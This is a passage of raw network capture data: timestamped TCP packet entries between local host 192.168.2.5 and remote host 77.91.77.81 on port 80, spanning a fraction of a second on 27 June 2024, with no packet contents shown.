Jun 27, 2024 19:27:07.450493097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450527906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450527906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450581074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450591087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450603008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450615883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450623989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450633049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450643063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450658083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450675011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450687885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450706959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450742006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450772047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450783968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450794935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450803995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450819016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450834990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450979948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450992107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450998068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451004028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451020956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451029062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451033115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451046944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451060057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451067924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451087952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451210022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451221943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451231956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451245070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451253891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451262951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451277018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451278925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451296091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451318026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451445103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451457024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451467991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451478958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451486111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451491117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451503038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451508045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451517105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451523066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451544046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451560974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451750040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451761007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451770067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451782942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451792002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451795101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451807976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451816082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451819897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451829910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451832056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451845884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451853037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451857090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451869011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451878071 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451880932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451894045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451894999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451909065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.451916933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.451941013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452174902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452187061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452199936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452223063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452244043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452316046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452327967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452338934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452354908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452358007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452368021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452377081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452399015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452431917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452469110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452578068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452589989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452600002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452613115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452619076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452625036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452637911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452639103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452649117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452661037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452661037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452675104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452683926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452697992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452719927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452908993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452920914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452930927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452944040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452953100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452955008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452969074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452974081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452981949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.452992916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.452992916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453006983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453016043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453026056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453037977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453039885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453051090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453056097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453063965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453077078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453077078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453090906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453094959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453103065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453115940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453116894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453129053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.453138113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.453161955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475698948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475743055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475749016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475754023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475783110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475790024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475822926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475837946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475848913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475860119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475860119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475878000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475899935 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.475908995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.475939989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476069927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476111889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476124048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476135015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476161003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476224899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476237059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476247072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476258993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476264954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476279974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476301908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476394892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476407051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476416111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476428032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476434946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476438999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476455927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476471901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.476515055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476526976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.476555109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.505470991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505486965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505496979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505523920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.505552053 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.505568981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505579948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505589008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505603075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.505616903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.505623102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.505649090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.544881105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.544933081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.544949055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.544950962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.544965029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.544972897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.544981003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545032024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545033932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545046091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545058966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545068979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545069933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545085907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545095921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545114994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545137882 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545167923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545180082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545202971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545305967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545316935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545327902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545340061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545350075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545352936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545367002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545389891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545428991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545442104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545470953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545495033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545506001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545516968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545536995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545552969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545672894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545682907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545692921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545703888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545715094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545717001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545727015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545737028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545741081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545758009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545767069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.545955896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545965910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545975924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545986891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.545995951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546000004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546013117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546015978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546025038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546030998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546037912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546053886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546077013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546192884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546204090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546214104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546233892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546255112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546272993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546288967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546299934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546314955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546328068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546452999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546464920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546473980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546483994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546489954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546494007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546494961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546500921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546525955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546542883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546737909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546749115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546757936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546767950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546778917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546782017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546792030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546801090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546816111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546835899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.546885967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.546919107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547023058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547034979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547044039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547055006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547065020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547065973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547079086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547086954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547090054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547100067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547102928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547111034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547122002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547125101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547132015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547142982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547153950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547163963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547164917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547179937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547202110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547507048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547518015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547528028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547538996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547548056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547549963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547560930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547564983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547585011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547600031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547636986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547672987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547692060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547703981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547713041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547734022 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547755003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547847033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547864914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547875881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547888994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547893047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547898054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.547915936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.547931910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.571002960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.571072102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.571122885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.571151972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.571162939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.571162939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.571183920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.571204901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.571300983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.571310997 CEST	80	49721	77.91.77.81	192.168.2.5
